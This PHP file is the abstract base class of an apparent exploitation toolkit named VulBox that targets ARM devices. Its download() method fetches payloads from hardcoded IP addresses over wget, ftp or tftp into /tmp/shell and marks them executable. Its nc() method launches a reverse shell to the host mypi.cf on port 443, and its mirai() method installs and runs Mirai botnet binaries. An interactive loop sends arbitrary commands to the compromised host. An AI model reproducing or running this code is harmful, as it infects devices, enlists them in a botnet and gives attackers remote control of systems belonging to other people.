<?php
namespace App\VulBox;

use GuzzleHttp\Client;
use League\CLImate\CLImate;
use Monolog\Logger;
use Monolog\Handler\StreamHandler;

abstract class Base
{
    protected $http;
    protected $log;
    protected $cli;
    protected $base_uri;

    public function __construct($base_uri)
    {
        $this->base_uri = $base_uri;
        $this->http = new Client([
            'base_uri' => $base_uri,
            'connect_timeout' => 600,
            'timeout' => 600,
            'cookies' => true,
            'headers' => [
                'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
                'Connection' => 'keep-alive'
            ]
        ]);

        $this->log = new Logger(static::class);
        $this->log->pushHandler(
            new StreamHandler(
                BASE_PATH . '/log/' . str_replace('App\\VulBox\\', '', static::class) . '.log',
                Logger::DEBUG
            )
        );

        $this->cli = new CLImate();
        $this->cli->info($this->base_uri);
    }

    protected function download($file)
    {
        $this->exec("id");
        $wget = $this->exec("wget -V");
        if (strpos($wget, "GNU Wget") !== false) {
            $this->exec("wget http://110.45.146.205/aa/{$file} -O /tmp/shell");
        } else {
            $ftp = $this->exec("ftp -h");
            if (strpos($ftp, "Usage:") !== false) {
                $this->exec("echo '#!/bin/sh' > /tmp/1.sh");
                $this->exec("echo 'ftp -n <<!' >> /tmp/1.sh");
                $this->exec("echo 'open 110.45.146.205 10021' >> /tmp/1.sh");
                $this->exec("echo 'user user 12345' >> /tmp/1.sh");
                $this->exec("echo 'passive' >> /tmp/1.sh");
                $this->exec("echo 'lcd /tmp' >> /tmp/1.sh");
                $this->exec("echo 'get {$file} shell' >> /tmp/1.sh");
                $this->exec("echo 'close' >> /tmp/1.sh");
                $this->exec("echo 'bye' >> /tmp/1.sh");
                $this->exec("echo '!' >> /tmp/1.sh");
                $this->exec("sh /tmp/1.sh");
                $this->exec("rm -rf /tmp/1.sh");
            } else {
                $tftp = $this->exec("tftp -h > /tmp/1.txt 2>&1;cat /tmp/1.txt;rm -rf /tmp/1.txt");
                if (strpos($tftp, "Usage:") !== false) {
                    $this->exec("tftp -g -l /tmp/shell -r {$file} 60.249.19.1 69");
                }
            }
        }
        $this->exec("chmod 777 /tmp/shell");
    }

    protected function nc()
    {
        $ok = null;
        $arm = $this->exec("uname -a");
        if (strpos($arm, "armv5") !== false) {
            $file = "shell.arm5";
        } else {
            $file = "shell.arm7";
        }

        $this->download($file);
        $this->exec("/tmp/shell " . gethostbyname("mypi.cf") . " 443");
        $this->exec("rm -rf /tmp/1.sh");
    }

    protected function mirai()
    {
        $ok = null;
        $arm = $this->exec("uname -a");
        if (strpos($arm, "armv5") !== false) {
            $file = "miraint.arm5n";
        } else {
            $file = "miraint.arm7";
        }

        $this->download($file);
        $ok = $this->exec("/tmp/shell");
        $this->exec("rm -rf /tmp/shell");
        if (strpos($ok, "listening") !== false) {
            return true;
        }

        return false;
    }

    protected function cliCmd()
    {
        while (true) {
            echo "> ";
            $line = trim(fgets(STDIN));
            switch ($line) {
                case 'mirai' :
                case 'nc' :
                case 'tftp' : {
                    $this->$line();
                    break;
                }
                default : {
                    if (strpos($line, "down") === 0) {
                        $file = substr($line, 5);
                        $this->download($file);
                    } elseif ($line) {
                        $this->exec($line);
                    }
                }
            }
        }
    }

    abstract protected function exec($cmd);

    abstract public function handle();

    abstract public function exploit();

    public static function fromTest()
    {
        global $argv;
        yield $argv[4];
    }
}